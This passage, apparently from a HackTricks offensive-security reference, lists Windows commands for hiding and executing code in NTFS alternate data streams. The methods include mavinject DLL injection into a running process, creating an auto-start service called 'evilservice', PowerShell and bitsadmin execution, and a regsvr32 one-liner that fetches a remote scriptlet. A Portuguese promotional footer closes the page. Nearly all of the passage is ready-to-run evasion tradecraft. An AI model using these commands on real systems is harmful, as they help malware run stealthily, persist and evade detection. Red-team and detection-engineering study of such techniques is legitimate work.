%temp%\test.txt:hi.js && wscript.exe %temp%\test.txt:hi.js * Forfiles forfiles /p c:\windows\system32 /m notepad.exe /c "c:\temp\shellloader.dll:bginfo.exe" * Mavinject.exe c:\windows\SysWOW64\notepad.exe tasklist | findstr notepad notepad.exe 4172 31C5CE94259D4006 2 18,476 K type c:\temp\AtomicTest.dll > "c:\Program Files (x86)\TeamViewer\TeamViewer13_Logfile.log:Atomic.dll" c:\windows\WinSxS\wow64_microsoft-windows-appmanagement-appvwow_31bf3856ad364e35_10.0.16299.15_none_e07aa28c97ebfa48\mavinject.exe 4172 /INJECTRUNNING "c:\Program Files (x86)\TeamViewer\TeamViewer13_Logfile.log:Atomic.dll" * MSHTA mshta "C:\Program Files (x86)\TeamViewer\TeamViewer13_Logfile.log:helloworld.hta" (Does not work on Windows 10 1903 and newer) * Control.exe control.exe c:\windows\tasks\zzz:notepad_reflective_x64.dll https://twitter.com/bohops/status/954466315913310209 * Create service and run sc create evilservice binPath= "\"c:\ADS\file.txt:cmd.exe\" /c echo works > \"c:\ADS\works.txt\"" DisplayName= "evilservice" start= auto sc start evilservice https://oddvar.moe/2018/04/11/putting-data-in-alternate-data-streams-and-how-to-execute-it-part-2/ * Powershell.exe powershell -ep bypass - < c:\temp:ttt * Powershell.exe powershell -command " & {(Get-Content C:\ADS\1.txt -Stream file.exe -Raw | Set-Content c:\ADS\file.exe) | start-process c:\ADS\file.exe}" * Powershell.exe Invoke-CimMethod -ClassName Win32_Process -MethodName Create -Arguments @{CommandLine = C:\ads\folder:file.exe} * Regedit.exe regedit c:\ads\file.txt:regfile.reg * Bitsadmin.exe bitsadmin /create myfile bitsadmin /addfile myfile c:\windows\system32\notepad.exe c:\data\playfolder\notepad.exe bitsadmin /SetNotifyCmdLine myfile c:\ADS\1.txt:cmd.exe NULL bitsadmin /RESUME myfile * AppVLP.exe AppVLP.exe c:\windows\tracing\test.txt:ha.exe * Cmd.exe cmd.exe - < fakefile.doc:reg32.bat https://twitter.com/yeyint_mth/status/1143824979139579904 * Ftp.exe ftp -s:fakefile.txt:aaaa.txt https://github.com/sailay1996/misc-bin/blob/master/ads.md * ieframe.dll , shdocvw.dll (ads) echo [internetshortcut] > fake.txt:test.txt && echo url=C:\windows\system32\calc.exe >> fake.txt:test.txt rundll32.exe ieframe.dll,OpenURL C:\temp\ads\fake.txt:test.txt rundll32.exe shdocvw.dll,OpenURL C:\temp\ads\fake.txt:test.txt https://github.com/sailay1996/misc-bin/blob/master/ads.md * bash.exe echo calc > fakefile.txt:payload.sh && bash < fakefile.txt:payload.sh bash.exe -c $(fakefile.txt:payload.sh) https://github.com/sailay1996/misc-bin/blob/master/ads.md * Regsvr32 type c:\Windows\System32\scrobj.dll > Textfile.txt:LoveADS regsvr32 /s /u /i:https://raw.githubusercontent.com/api0cradle/LOLBAS/master/OSBinaries/Payload/Regsvr32_calc.sct Textfile.txt:LoveADS ```
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 * Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)! * Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com) * **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).